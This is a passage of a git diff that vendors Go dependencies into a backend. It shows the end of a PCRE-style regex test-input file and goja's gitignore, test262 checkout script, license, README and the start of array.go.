(?>(?:(?!otherword)[a-zA-Z0-9]+ ){0,30})otherword/ + word cat dog elephant mussel cow horse canary baboon snake shark otherword + 0: word cat dog elephant mussel cow horse canary baboon snake shark otherword +\= Expect no match + word cat dog elephant mussel cow horse canary baboon snake shark +No match + +/word (?>[a-zA-Z0-9]+ ){0,30}otherword/ +\= Expect no match + word cat dog elephant mussel cow horse canary baboon snake shark the quick brown fox and the lazy dog and several other words getting close to thirty by now I hope +No match + +/(?<=\d{3}(?!999))foo/ + 999foo + 0: foo + 123999foo + 0: foo +\= Expect no match + 123abcfoo +No match + +/(?<=(?!...999)\d{3})foo/ + 999foo + 0: foo + 123999foo + 0: foo +\= Expect no match + 123abcfoo +No match + +/(?<=\d{3}(?!999)...)foo/ + 123abcfoo + 0: foo + 123456foo + 0: foo +\= Expect no match + 123999foo +No match + +/(?<=\d{3}...)(? + 2: + 3: abcd +
+ 2: + 3: abcd + \s*)=(?>\s*) # find + 2: + 3: abcd + Z)+|A)*/ + ZABCDEFG + 0: ZA + 1: A + +/((?>)+|A)*/ + ZABCDEFG + 0: + 1: + +/^[\d-a]/ + abcde + 0: a + -things + 0: - + 0digit + 0: 0 +\= Expect no match + bcdef +No match + +/[\s]+/ + > \x09\x0a\x0c\x0d\x0b< + 0: \x09\x0a\x0c\x0d\x0b + +/\s+/ + > \x09\x0a\x0c\x0d\x0b< + 0: \x09\x0a\x0c\x0d\x0b + +/a b/x + ab + 0: ab + +/(?!\A)x/m + a\nxb\n + 0: x + +/(?!^)x/m +\= Expect no match + a\nxb\n +No match + +#/abc\Qabc\Eabc/ +# abcabcabc +# 0: abcabcabc + +#/abc\Q(*+|\Eabc/ +# abc(*+|abc +# 0: abc(*+|abc + +#/ abc\Q abc\Eabc/x +# abc abcabc +# 0: abc abcabc +#\= Expect no match +# abcabcabc +#No match + +#/abc#comment +# \Q#not comment +# literal\E/x +# abc#not comment\n literal +# 0: abc#not comment\x0a literal + +#/abc#comment +# \Q#not comment +# literal/x +# abc#not comment\n literal +# 0: abc#not comment\x0a literal + +#/abc#comment +# \Q#not comment +# literal\E #more comment +# /x +# abc#not comment\n literal +# 0: abc#not comment\x0a literal + +#/abc#comment +# \Q#not comment +# literal\E #more comment/x +# abc#not comment\n literal +# 0: abc#not comment\x0a literal + +#/\Qabc\$xyz\E/ +# abc\\\$xyz +# 0: abc\$xyz + +#/\Qabc\E\$\Qxyz\E/ +# abc\$xyz +# 0: abc$xyz + +/\Gabc/ + abc + 0: abc +\= Expect no match + xyzabc +No match + +/a(?x: b c )d/ + XabcdY + 0: abcd +\= Expect no match + Xa b c d Y +No match + +/((?x)x y z | a b c)/ + XabcY + 0: abc + 1: abc + AxyzB + 0: xyz + 1: xyz + +/(?i)AB(?-i)C/ + XabCY + 0: abC +\= Expect no match + XabcY +No match + +/((?i)AB(?-i)C|D)E/ + abCE + 0: abCE + 1: abC + DE + 0: DE + 1: D +\= Expect no match + abcE +No match + abCe +No match + dE +No match + De +No match + +/(.*)\d+\1/ + abc123abc + 0: abc123abc + 1: abc + abc123bc + 0: bc123bc + 1: bc + +/(.*)\d+\1/s + abc123abc + 0: abc123abc + 1: abc + abc123bc + 0: bc123bc + 1: bc + +/((.*))\d+\1/ + abc123abc + 0: abc123abc + 1: abc + 2: abc + abc123bc + 0: bc123bc + 1: bc + 2: bc + +# This tests for an IPv6 address in the form where it can have up to +# eight components, one and only one of which is empty. This must be +# an internal component. + +/^(?!:) # colon disallowed at start + (?: # start of item + (?: [0-9a-f]{1,4} | # 1-4 hex digits or + (?(1)0 | () ) ) # if null previously matched, fail; else null + : # followed by colon + ){1,7} # end item; 1-7 of them required + [0-9a-f]{1,4} $ # final hex number at end of string + (?(1)|.) # check that there was an empty component + /ix + a123::a123 + 0: a123::a123 + 1: + a123:b342::abcd + 0: a123:b342::abcd + 1: + a123:b342::324e:abcd + 0: a123:b342::324e:abcd + 1: + a123:ddde:b342::324e:abcd + 0: a123:ddde:b342::324e:abcd + 1: + a123:ddde:b342::324e:dcba:abcd + 0: a123:ddde:b342::324e:dcba:abcd + 1: + a123:ddde:9999:b342::324e:dcba:abcd + 0: a123:ddde:9999:b342::324e:dcba:abcd + 1: +\= Expect no match + 1:2:3:4:5:6:7:8 +No match + a123:bce:ddde:9999:b342::324e:dcba:abcd +No match + a123::9999:b342::324e:dcba:abcd +No match + abcde:2:3:4:5:6:7:8 +No match + ::1 +No match + abcd:fee0:123:: +No match + :1 +No match + 1: +No match + +#/[z\Qa-d]\E]/ +# z +# 0: z +# a +# 0: a +# - +# 0: - +# d +# 0: d +# ] +# 0: ] +#\= Expect no match +# b +#No match + +#TODO: PCRE has an optimization to make this workable, .NET does not +#/(a+)*b/ +#\= Expect no match +# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +#No match + +# All these had to be updated because we understand unicode +# and this looks like it's expecting single byte matches + +# .NET generates \xe4...not sure what's up, might just be different code pages +/(?i)reg(?:ul(?:[aä]|ae)r|ex)/ + REGular + 0: REGular + regulaer + 0: regulaer + Regex + 0: Regex + regulär + 0: regul\xc3\xa4r + +#/Åæåä[à-ÿÀ-ß]+/ +# Åæåäà +# 0: \xc5\xe6\xe5\xe4\xe0 +# Åæåäÿ +# 0: \xc5\xe6\xe5\xe4\xff +# ÅæåäÀ +# 0: \xc5\xe6\xe5\xe4\xc0 +# Åæåäß +# 0: \xc5\xe6\xe5\xe4\xdf + +/(?<=Z)X./ + \x84XAZXB + 0: XB + +/ab cd (?x) de fg/ + ab cd defg + 0: ab cd defg + +/ab cd(?x) de fg/ + ab cddefg + 0: ab cddefg +\= Expect no match + abcddefg +No match + +/(? + 2: + D + 0: D + 1: + 2: + +# this is really long with debug -- removing for now +#/(a|)*\d/ +# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4 +# 0: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4 +# 1: +#\= Expect no match +# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +#No match + +/(?>a|)*\d/ + aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4 + 0: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4 +\= Expect no match + aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +No match + +/(?:a|)*\d/ + aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4 + 0: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4 +\= Expect no match + aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +No match + +/^(?s)(?>.*)(? + 2: a + +/(?>(a))b|(a)c/ + ac + 0: ac + 1: + 2: a + +/(?=(a))ab|(a)c/ + ac + 0: ac + 1: + 2: a + +/((?>(a))b|(a)c)/ + ac + 0: ac + 1: ac + 2: + 3: a + +/(?=(?>(a))b|(a)c)(..)/ + ac + 0: ac + 1: + 2: a + 3: ac + +/(?>(?>(a))b|(a)c)/ + ac + 0: ac + 1: + 2: a + +/((?>(a+)b)+(aabab))/ + aaaabaaabaabab + 0: aaaabaaabaabab + 1: aaaabaaabaabab + 2: aaa + 3: aabab + +/(?>a+|ab)+?c/ +\= Expect no match + aabc +No match + +/(?>a+|ab)+c/ +\= Expect no match + aabc +No match + +/(?:a+|ab)+c/ + aabc + 0: aabc + +/^(?:a|ab)+c/ + aaaabc + 0: aaaabc + +/(?=abc){0}xyz/ + xyz + 0: xyz + +/(?=abc){1}xyz/ +\= Expect no match + xyz +No match + +/(?=(a))?./ + ab + 0: a + 1: a + bc + 0: b + +/(?=(a))??./ + ab + 0: a + bc + 0: b + +/^(?!a){0}\w+/ + aaaaa + 0: aaaaa + +/(?<=(abc))?xyz/ + abcxyz + 0: xyz + 1: abc + pqrxyz + 0: xyz + +/^[g]+/ + ggg<<>> + 0: ggg<<>> +\= Expect no match + \\ga +No match + +/^[ga]+/ + gggagagaxyz + 0: gggagaga + +/[:a]xxx[b:]/ + :xxx: + 0: :xxx: + +/(?<=a{2})b/i + xaabc + 0: b +\= Expect no match + xabc +No match + +/(? +# 4: +# 5: c +# 6: d +# 7: Y + +#/^X(?7)(a)(?|(b|(?|(r)|(t))(s))|(q))(c)(d)(Y)/ +# XYabcdY +# 0: XYabcdY +# 1: a +# 2: b +# 3: +# 4: +# 5: c +# 6: d +# 7: Y + +/(?'abc'\w+):\k{2}/ + a:aaxyz + 0: a:aa + 1: a + ab:ababxyz + 0: ab:abab + 1: ab +\= Expect no match + a:axyz +No match + ab:abxyz +No match + +/^(?a)? (?(ab)b|c) (?(ab)d|e)/x + abd + 0: abd + 1: a + ce + 0: ce + +# .NET has more consistent grouping numbers with these dupe groups for the two options +/(?:a(? (?')|(?")) |b(? (?')|(?")) ) (?(quote)[a-z]+|[0-9]+)/x,dupnames + a\"aaaaa + 0: a"aaaaa + 1: " + 2: + 3: " + b\"aaaaa + 0: b"aaaaa + 1: " + 2: + 3: " +\= Expect no match + b\"11111 +No match + +#/(?P(?P0)(?P>L1)|(?P>L2))/ +# 0 +# 0: 0 +# 1: 0 +# 00 +# 0: 00 +# 1: 00 +# 2: 0 +# 0000 +# 0: 0000 +# 1: 0000 +# 2: 0 + +#/(?P(?P0)|(?P>L2)(?P>L1))/ +# 0 +# 0: 0 +# 1: 0 +# 2: 0 +# 00 +# 0: 0 +# 1: 0 +# 2: 0 +# 0000 +# 0: 0 +# 1: 0 +# 2: 0 + +# Check the use of names for failure + +# Check opening parens in comment when seeking forward reference. + +#/(?P(?P=abn)xxx|)+/ +# xxx +# 0: +# 1: + +#Posses +/^(a)?(\w)/ + aaaaX + 0: aa + 1: a + 2: a + YZ + 0: Y + 1: + 2: Y + +#Posses +/^(?:a)?(\w)/ + aaaaX + 0: aa + 1: a + YZ + 0: Y + 1: Y + +/\A.*?(a|bc)/ + ba + 0: ba + 1: a + +/\A.*?(?:a|bc|d)/ + ba + 0: ba + +# -------------------------- + +/(another)?(\1?)test/ + hello world test + 0: test + 1: + 2: + +/(another)?(\1+)test/ +\= Expect no match + hello world test +No match + +/((?:a?)*)*c/ + aac + 0: aac + 1: + +/((?>a?)*)*c/ + aac + 0: aac + 1: + +/(?>.*?a)(?<=ba)/ + aba + 0: ba + +/(?:.*?a)(?<=ba)/ + aba + 0: aba + +/(?>.*?a)b/s + aab + 0: ab + +/(?>.*?a)b/ + aab + 0: ab + +/(?>^a)b/s +\= Expect no match + aab +No match + +/(?>.*?)(?<=(abcd)|(wxyz))/ + alphabetabcd + 0: + 1: abcd + endingwxyz + 0: + 1: + 2: wxyz + +/(?>.*)(?<=(abcd)|(wxyz))/ + alphabetabcd + 0: alphabetabcd + 1: abcd + endingwxyz + 0: endingwxyz + 1: + 2: wxyz + +"(?>.*)foo" +\= Expect no match + abcdfooxyz +No match + +"(?>.*?)foo" + abcdfooxyz + 0: foo + +# Tests that try to figure out how Perl works. My hypothesis is that the first +# verb that is backtracked onto is the one that acts. This seems to be the case +# almost all the time, but there is one exception that is perhaps a bug. + +/a(?=bc).|abd/ + abd + 0: abd + abc + 0: ab + +/a(?>bc)d|abd/ + abceabd + 0: abd + +# These tests were formerly in test 2, but changes in PCRE and Perl have +# made them compatible. + +/^(a)?(?(1)a|b)+$/ +\= Expect no match + a +No match + +# ---- + +/^\d*\w{4}/ + 1234 + 0: 1234 +\= Expect no match + 123 +No match + +/^[^b]*\w{4}/ + aaaa + 0: aaaa +\= Expect no match + aaa +No match + +/^[^b]*\w{4}/i + aaaa + 0: aaaa +\= Expect no match + aaa +No match + +/^a*\w{4}/ + aaaa + 0: aaaa +\= Expect no match + aaa +No match + +/^a*\w{4}/i + aaaa + 0: aaaa +\= Expect no match + aaa +No match + +/(?:(?foo)|(?bar))\k/dupnames + foofoo + 0: foofoo + 1: foo + barbar + 0: barbar + 1: bar + +# A notable difference between PCRE and .NET. According to +# the PCRE docs: +# If you make a subroutine call to a non-unique named +# subpattern, the one that corresponds to the first +# occurrence of the name is used. In the absence of +# duplicate numbers (see the previous section) this is +# the one with the lowest number. +# .NET takes the most recently captured number according to MSDN: +# A backreference refers to the most recent definition of +# a group (the definition most immediately to the left, +# when matching left to right). When a group makes multiple +# captures, a backreference refers to the most recent capture. + +#/(?A)(?:(?foo)|(?bar))\k/dupnames +# AfooA +# 0: AfooA +# 1: A +# 2: foo +# AbarA +# 0: AbarA +# 1: A +# 2: +# 3: bar +#\= Expect no match +# Afoofoo +#No match +# Abarbar +#No match + +/^(\d+)\s+IN\s+SOA\s+(\S+)\s+(\S+)\s*\(\s*$/ + 1 IN SOA non-sp1 non-sp2( + 0: 1 IN SOA non-sp1 non-sp2( + 1: 1 + 2: non-sp1 + 3: non-sp2 + +# TODO: .NET's group number ordering here in the second example is a bit odd +/^ (?:(?A)|(?'B'B)(?A)) (?(A)x) (?(B)y)$/x,dupnames + Ax + 0: Ax + 1: A + BAxy + 0: BAxy + 1: A + 2: B + +/ ^ a + b $ /x + aaaab + 0: aaaab + +/ ^ a + #comment + b $ /x + aaaab + 0: aaaab + +/ ^ a + #comment + #comment + b $ /x + aaaab + 0: aaaab + +/ ^ (?> a + ) b $ /x + aaaab + 0: aaaab + +/ ^ ( a + ) + \w $ /x + aaaab + 0: aaaab + 1: aaaa + +/(?:x|(?:(xx|yy)+|x|x|x|x|x)|a|a|a)bc/ +\= Expect no match + acb +No match + +#Posses +#/\A(?:[^\"]+|\"(?:[^\"]*|\"\")*\")+/ +# NON QUOTED \"QUOT\"\"ED\" AFTER \"NOT MATCHED +# 0: NON QUOTED "QUOT""ED" AFTER + +#Posses +#/\A(?:[^\"]+|\"(?:[^\"]+|\"\")*\")+/ +# NON QUOTED \"QUOT\"\"ED\" AFTER \"NOT MATCHED +# 0: NON QUOTED "QUOT""ED" AFTER + +#Posses +#/\A(?:[^\"]+|\"(?:[^\"]+|\"\")+\")+/ +# NON QUOTED \"QUOT\"\"ED\" AFTER \"NOT MATCHED +# 0: NON QUOTED "QUOT""ED" AFTER + +#Posses +#/\A([^\"1]+|[\"2]([^\"3]*|[\"4][\"5])*[\"6])+/ +# NON QUOTED \"QUOT\"\"ED\" AFTER \"NOT MATCHED +# 0: NON QUOTED "QUOT""ED" AFTER +# 1: AFTER +# 2: + +/^\w+(?>\s*)(?<=\w)/ + test test + 0: tes + +#/(?Pa)?(?Pb)?(?()c|d)*l/ +# acl +# 0: acl +# 1: a +# bdl +# 0: bdl +# 1: +# 2: b +# adl +# 0: dl +# bcl +# 0: l + +/\sabc/ + \x0babc + 0: \x0babc + +#/[\Qa]\E]+/ +# aa]] +# 0: aa]] + +#/[\Q]a\E]+/ +# aa]] +# 0: aa]] + +/A((((((((a))))))))\8B/ + AaaB + 0: AaaB + 1: a + 2: a + 3: a + 4: a + 5: a + 6: a + 7: a + 8: a + +/A(((((((((a)))))))))\9B/ + AaaB + 0: AaaB + 1: a + 2: a + 3: a + 4: a + 5: a + 6: a + 7: a + 8: a + 9: a + +/(|ab)*?d/ + abd + 0: abd + 1: ab + xyd + 0: d + +/(\2|a)(\1)/ + aaa + 0: aa + 1: a + 2: a + +/(\2)(\1)/ + +"Z*(|d*){216}" + +/((((((((((((x))))))))))))\12/ + xx + 0: xx + 1: x + 2: x + 3: x + 4: x + 5: x + 6: x + 7: x + 8: x + 9: x +10: x +11: x +12: x + +#"(?|(\k'Pm')|(?'Pm'))" +# abcd +# 0: +# 1: + +#/(?|(aaa)|(b))\g{1}/ +# aaaaaa +# 0: aaaaaa +# 1: aaa +# bb +# 0: bb +# 1: b + +#/(?|(aaa)|(b))(?1)/ +# aaaaaa +# 0: aaaaaa +# 1: aaa +# baaa +# 0: baaa +# 1: b +#\= Expect no match +# bb +#No match + +#/(?|(aaa)|(b))/ +# xaaa +# 0: aaa +# 1: aaa +# xbc +# 0: b +# 1: b + +#/(?|(?'a'aaa)|(?'a'b))\k'a'/ +# aaaaaa +# 0: aaaaaa +# 1: aaa +# bb +# 0: bb +# 1: b + +#/(?|(?'a'aaa)|(?'a'b))(?'a'cccc)\k'a'/dupnames +# aaaccccaaa +# 0: aaaccccaaa +# 1: aaa +# 2: cccc +# bccccb +# 0: bccccb +# 1: b +# 2: cccc + +# End of testinput1 diff --git a/backend/vendor/github.com/dop251/goja/.gitignore b/backend/vendor/github.com/dop251/goja/.gitignore new file mode 100644 index 0000000..22b26fd --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/.gitignore @@ -0,0 +1,3 @@ +.idea +*.iml +testdata/test262 diff --git a/backend/vendor/github.com/dop251/goja/.tc39_test262_checkout.sh b/backend/vendor/github.com/dop251/goja/.tc39_test262_checkout.sh new file mode 100644 index 0000000..ea73178 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/.tc39_test262_checkout.sh @@ -0,0 +1,11 @@ +#!/bin/sh -e +# this is just the commit it was last tested with +sha=3af36bec45bd4f72d4b57366653578e1e4dafef7 + +mkdir -p testdata/test262 +cd testdata/test262 +git init +git remote add origin https://github.com/tc39/test262.git +git fetch origin --depth=1 "${sha}" +git reset --hard "${sha}" +cd - diff --git a/backend/vendor/github.com/dop251/goja/LICENSE b/backend/vendor/github.com/dop251/goja/LICENSE new file mode 100644 index 0000000..09c0004 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/LICENSE @@ -0,0 +1,15 @@ +Copyright (c) 2016 Dmitry Panov + +Copyright (c) 2012 Robert Krimen + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the Software without restriction, including without limitation +the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE +WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR +OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/backend/vendor/github.com/dop251/goja/README.md b/backend/vendor/github.com/dop251/goja/README.md new file mode 100644 index 0000000..959341d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/README.md @@ -0,0 +1,335 @@ +goja +==== + +ECMAScript 5.1(+) implementation in Go. + +[![Go Reference](https://pkg.go.dev/badge/github.com/dop251/goja.svg)](https://pkg.go.dev/github.com/dop251/goja) + +Goja is an implementation of ECMAScript 5.1 in pure Go with emphasis on standard compliance and +performance. + +This project was largely inspired by [otto](https://github.com/robertkrimen/otto). + +The minimum required Go version is 1.20. + +Features +-------- + + * Full ECMAScript 5.1 support (including regex and strict mode). + * Passes nearly all [tc39 tests](https://github.com/tc39/test262) for the features implemented so far. The goal is to + pass all of them. See .tc39_test262_checkout.sh for the latest working commit id. + * Capable of running Babel, Typescript compiler and pretty much anything written in ES5. + * Sourcemaps. + * Most of ES6 functionality, still work in progress, see https://github.com/dop251/goja/milestone/1?closed=1 + +Known incompatibilities and caveats +----------------------------------- + +### WeakMap +WeakMap is implemented by embedding references to the values into the keys. This means that as long +as the key is reachable all values associated with it in any weak maps also remain reachable and therefore +cannot be garbage collected even if they are not otherwise referenced, even after the WeakMap is gone. +The reference to the value is dropped either when the key is explicitly removed from the WeakMap or when the +key becomes unreachable. + +To illustrate this: + +```javascript +var m = new WeakMap(); +var key = {}; +var value = {/* a very large object */}; +m.set(key, value); +value = undefined; +m = undefined; // The value does NOT become garbage-collectable at this point +key = undefined; // Now it does +// m.delete(key); // This would work too +``` + +The reason for it is the limitation of the Go runtime. At the time of writing (version 1.15) having a finalizer +set on an object which is part of a reference cycle makes the whole cycle non-garbage-collectable. The solution +above is the only reasonable way I can think of without involving finalizers. This is the third attempt +(see https://github.com/dop251/goja/issues/250 and https://github.com/dop251/goja/issues/199 for more details). + +Note, this does not have any effect on the application logic, but may cause a higher-than-expected memory usage. + +### WeakRef and FinalizationRegistry +For the reason mentioned above implementing WeakRef and FinalizationRegistry does not seem to be possible at this stage. + +### JSON +`JSON.parse()` uses the standard Go library which operates in UTF-8. Therefore, it cannot correctly parse broken UTF-16 +surrogate pairs, for example: + +```javascript +JSON.parse(`"\\uD800"`).charCodeAt(0).toString(16) // returns "fffd" instead of "d800" +``` + +### Date +Conversion from calendar date to epoch timestamp uses the standard Go library which uses `int`, rather than `float` as per +ECMAScript specification. This means if you pass arguments that overflow int to the `Date()` constructor or if there is +an integer overflow, the result will be incorrect, for example: + +```javascript +Date.UTC(1970, 0, 1, 80063993375, 29, 1, -288230376151711740) // returns 29256 instead of 29312 +``` + +FAQ +--- + +### How fast is it? + +Although it's faster than many scripting language implementations in Go I have seen +(for example it's 6-7 times faster than otto on average) it is not a +replacement for V8 or SpiderMonkey or any other general-purpose JavaScript engine. +You can find some benchmarks [here](https://github.com/dop251/goja/issues/2). + +### Why would I want to use it over a V8 wrapper? + +It greatly depends on your usage scenario. If most of the work is done in javascript +(for example crypto or any other heavy calculations) you are definitely better off with V8. + +If you need a scripting language that drives an engine written in Go so that +you need to make frequent calls between Go and javascript passing complex data structures +then the cgo overhead may outweigh the benefits of having a faster javascript engine. + +Because it's written in pure Go there are no cgo dependencies, it's very easy to build and it +should run on any platform supported by Go. + +It gives you a much better control over execution environment so can be useful for research. + +### Is it goroutine-safe? + +No. An instance of goja.Runtime can only be used by a single goroutine +at a time. You can create as many instances of Runtime as you like but +it's not possible to pass object values between runtimes. + +### Where is setTimeout()/setInterval()? + +setTimeout() and setInterval() are common functions to provide concurrent execution in ECMAScript environments, but the two functions are not part of the ECMAScript standard. +Browsers and NodeJS just happen to provide similar, but not identical, functions. The hosting application need to control the environment for concurrent execution, e.g. an event loop, and supply the functionality to script code. + +There is a [separate project](https://github.com/dop251/goja_nodejs) aimed at providing some NodeJS functionality, +and it includes an event loop. + +### Can you implement (feature X from ES6 or higher)? + +I will be adding features in their dependency order and as quickly as time permits. Please do not ask +for ETAs. Features that are open in the [milestone](https://github.com/dop251/goja/milestone/1) are either in progress +or will be worked on next. + +The ongoing work is done in separate feature branches which are merged into master when appropriate. +Every commit in these branches represents a relatively stable state (i.e. it compiles and passes all enabled tc39 tests), +however because the version of tc39 tests I use is quite old, it may be not as well tested as the ES5.1 functionality. Because there are (usually) no major breaking changes between ECMAScript revisions +it should not break your existing code. You are encouraged to give it a try and report any bugs found. Please do not submit fixes though without discussing it first, as the code could be changed in the meantime. + +### How do I contribute? + +Before submitting a pull request please make sure that: + +- You followed ECMA standard as close as possible. If adding a new feature make sure you've read the specification, +do not just base it on a couple of examples that work fine. +- Your change does not have a significant negative impact on performance (unless it's a bugfix and it's unavoidable) +- It passes all relevant tc39 tests. + +Current Status +-------------- + + * There should be no breaking changes in the API, however it may be extended. + * Some of the AnnexB functionality is missing. + +Basic Example +------------- + +Run JavaScript and get the result value. + +```go +vm := goja.New() +v, err := vm.RunString("2 + 2") +if err != nil { + panic(err) +} +if num := v.Export().(int64); num != 4 { + panic(num) +} +``` + +Passing Values to JS +-------------------- +Any Go value can be passed to JS using Runtime.ToValue() method. See the method's [documentation](https://pkg.go.dev/github.com/dop251/goja#Runtime.ToValue) for more details. + +Exporting Values from JS +------------------------ +A JS value can be exported into its default Go representation using Value.Export() method. + +Alternatively it can be exported into a specific Go variable using [Runtime.ExportTo()](https://pkg.go.dev/github.com/dop251/goja#Runtime.ExportTo) method. + +Within a single export operation the same Object will be represented by the same Go value (either the same map, slice or +a pointer to the same struct). This includes circular objects and makes it possible to export them. + +Calling JS functions from Go +---------------------------- +There are 2 approaches: + +- Using [AssertFunction()](https://pkg.go.dev/github.com/dop251/goja#AssertFunction): +```go +const SCRIPT = ` +function sum(a, b) { + return +a + b; +} +` + +vm := goja.New() +_, err := vm.RunString(SCRIPT) +if err != nil { + panic(err) +} +sum, ok := goja.AssertFunction(vm.Get("sum")) +if !ok { + panic("Not a function") +} + +res, err := sum(goja.Undefined(), vm.ToValue(40), vm.ToValue(2)) +if err != nil { + panic(err) +} +fmt.Println(res) +// Output: 42 +``` +- Using [Runtime.ExportTo()](https://pkg.go.dev/github.com/dop251/goja#Runtime.ExportTo): +```go +const SCRIPT = ` +function sum(a, b) { + return +a + b; +} +` + +vm := goja.New() +_, err := vm.RunString(SCRIPT) +if err != nil { + panic(err) +} + +var sum func(int, int) int +err = vm.ExportTo(vm.Get("sum"), &sum) +if err != nil { + panic(err) +} + +fmt.Println(sum(40, 2)) // note, _this_ value in the function will be undefined. +// Output: 42 +``` + +The first one is more low level and allows specifying _this_ value, whereas the second one makes the function look like +a normal Go function. + +Mapping struct field and method names +------------------------------------- +By default, the names are passed through as is which means they are capitalised. This does not match +the standard JavaScript naming convention, so if you need to make your JS code look more natural or if you are +dealing with a 3rd party library, you can use a [FieldNameMapper](https://pkg.go.dev/github.com/dop251/goja#FieldNameMapper): + +```go +vm := goja.New() +vm.SetFieldNameMapper(TagFieldNameMapper("json", true)) +type S struct { + Field int `json:"field"` +} +vm.Set("s", S{Field: 42}) +res, _ := vm.RunString(`s.field`) // without the mapper it would have been s.Field +fmt.Println(res.Export()) +// Output: 42 +``` + +There are two standard mappers: [TagFieldNameMapper](https://pkg.go.dev/github.com/dop251/goja#TagFieldNameMapper) and +[UncapFieldNameMapper](https://pkg.go.dev/github.com/dop251/goja#UncapFieldNameMapper), or you can use your own implementation. + +Native Constructors +------------------- + +In order to implement a constructor function in Go use `func (goja.ConstructorCall) *goja.Object`. +See [Runtime.ToValue()](https://pkg.go.dev/github.com/dop251/goja#Runtime.ToValue) documentation for more details. + +Regular Expressions +------------------- + +Goja uses the embedded Go regexp library where possible, otherwise it falls back to [regexp2](https://github.com/dlclark/regexp2). + +Exceptions +---------- + +Any exception thrown in JavaScript is returned as an error of type *Exception. It is possible to extract the value thrown +by using the Value() method: + +```go +vm := goja.New() +_, err := vm.RunString(` + +throw("Test"); + +`) + +if jserr, ok := err.(*Exception); ok { + if jserr.Value().Export() != "Test" { + panic("wrong value") + } +} else { + panic("wrong type") +} +``` + +If a native Go function panics with a Value, it is thrown as a Javascript exception (and therefore can be caught): + +```go +var vm *Runtime + +func Test() { + panic(vm.ToValue("Error")) +} + +vm = goja.New() +vm.Set("Test", Test) +_, err := vm.RunString(` + +try { + Test(); +} catch(e) { + if (e !== "Error") { + throw e; + } +} + +`) + +if err != nil { + panic(err) +} +``` + +Interrupting +------------ + +```go +func TestInterrupt(t *testing.T) { + const SCRIPT = ` + var i = 0; + for (;;) { + i++; + } + ` + + vm := goja.New() + time.AfterFunc(200 * time.Millisecond, func() { + vm.Interrupt("halt") + }) + + _, err := vm.RunString(SCRIPT) + if err == nil { + t.Fatal("Err is nil") + } + // err is of type *InterruptError and its Value() method returns whatever has been passed to vm.Interrupt() +} +``` + +NodeJS Compatibility +-------------------- + +There is a [separate project](https://github.com/dop251/goja_nodejs) aimed at providing some of the NodeJS functionality. diff --git a/backend/vendor/github.com/dop251/goja/array.go b/backend/vendor/github.com/dop251/goja/array.go new file mode 100644 index 0000000..7a67a47 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/array.go @@ -0,0 +1,565 @@ +package goja + +import ( + "fmt" + "math" + "math/bits" + "reflect" + "strconv" + + "github.com/dop251/goja/unistring" +) + +type arrayIterObject struct { + baseObject + obj *Object + nextIdx int64 + kind iterationKind +} + +func (ai *arrayIterObject) next() Value { + if ai.obj == nil { + return ai.val.runtime.createIterResultObject(_undefined, true) + } + if ta, ok := ai.obj.self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + } + l := toLength(ai.obj.self.getStr("length", nil)) + index := ai.nextIdx + if index >= l { + ai.obj = nil + return ai.val.runtime.createIterResultObject(_undefined, true) + } + ai.nextIdx++ + idxVal := valueInt(index) + if ai.kind == iterationKindKey { + return ai.val.runtime.createIterResultObject(idxVal, false) + } + elementValue := nilSafe(ai.obj.self.getIdx(idxVal, nil)) + var result Value + if ai.kind == iterationKindValue { + result = elementValue + } else { + result = ai.val.runtime.newArrayValues([]Value{idxVal, elementValue}) + } + return ai.val.runtime.createIterResultObject(result, false) +} + +func (r *Runtime) createArrayIterator(iterObj *Object, kind iterationKind) Value { + o := &Object{runtime: r} + + ai := &arrayIterObject{ + obj: iterObj, + kind: kind, + } + ai.class = classObject + ai.val = o + ai.extensible = true + o.self = ai + ai.prototype = r.getArrayIteratorPrototype() + ai.init() + + return o +} + +type arrayObject struct { + baseObject + values []Value + length uint32 + objCount int + propValueCount int + lengthProp valueProperty +} + +func (a *arrayObject) init() { + a.baseObject.init() + a.lengthProp.writable = true + + a._put("length", &a.lengthProp) +} + +func (a *arrayObject) _setLengthInt(l uint32, throw bool) bool { + ret := true + if l <= a.length { + if a.propValueCount > 0 { + // Slow path + for i := len(a.values) - 1; i >= int(l); i-- { + if prop, ok := a.values[i].(*valueProperty); ok { + if !prop.configurable { + l = uint32(i) + 1 + ret = false + break + } + 